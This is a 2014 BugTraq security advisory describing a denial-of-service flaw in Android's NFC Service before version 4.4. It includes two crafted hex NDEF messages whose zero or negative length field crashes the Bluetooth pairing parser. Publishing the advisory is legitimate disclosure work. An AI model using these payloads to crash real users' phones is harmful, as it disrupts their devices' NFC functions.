BugTraq
Android NFC Service Denial of Service Jul 09 2014 08:54AM
vuln nipc org cn
Android NFC Service Denial of Service

------------------------------------------------------------------
I. Summary

NFC Service is a process of Android OS for providing access to NFC functionality, allowing

applications to read NDEF message in NFC tags. A flaw has beend found in NFC Service implementation in

Android OS before 4.4. When a bluetooth pair tag written with a crafted message is touched by a phone

with Android OS before 4.4, it will cause a denial of service of NFC service.

------------------------------------------------------------------
II. Description

According to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message

with its field "Length of Local Name" set to 0b0000 0000 or 0b1XXX XXXX(X means any binary value).

Then write the crafted messages to NFC tag. Touch the NFC tag with a smart phone with Android OS

before 4.4, NFC Service will crash. The reason for this is that NFC Stack don't parse zero length or

negative length correctly (com.android.nfc.handover.HandoverManager.parseBtOob/
com.android.nfc.handover.HandoverManager.parse). Here are two crafted messages.
Eg.1 zero value
DA 20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F
76 6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70
2E 6F 6F 62 30 1C 00 5C 5C 5C 5C 5C 5C [00] 09 41
6E 64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11
Eg.2 negative value
DA 20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F
76 6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70
2E 6F 6F 62 30 1C 00 5C 5C 5C 5C 5C 5C [80] 09 41
6E 64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11

------------------------------------------------------------------
III. Impact

This bug cause a DoS of NFC service and NFC function returns to normal until NFC Service reboot

automatically .

------------------------------------------------------------------
IV. Affected

Android OS before 4.4. Other customized OS based on Android may also be affected due to this bug, such

as MIUI before 5.30.

------------------------------------------------------------------
V. Solution

modify the source codes about Bluetooth pairing message parsing.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus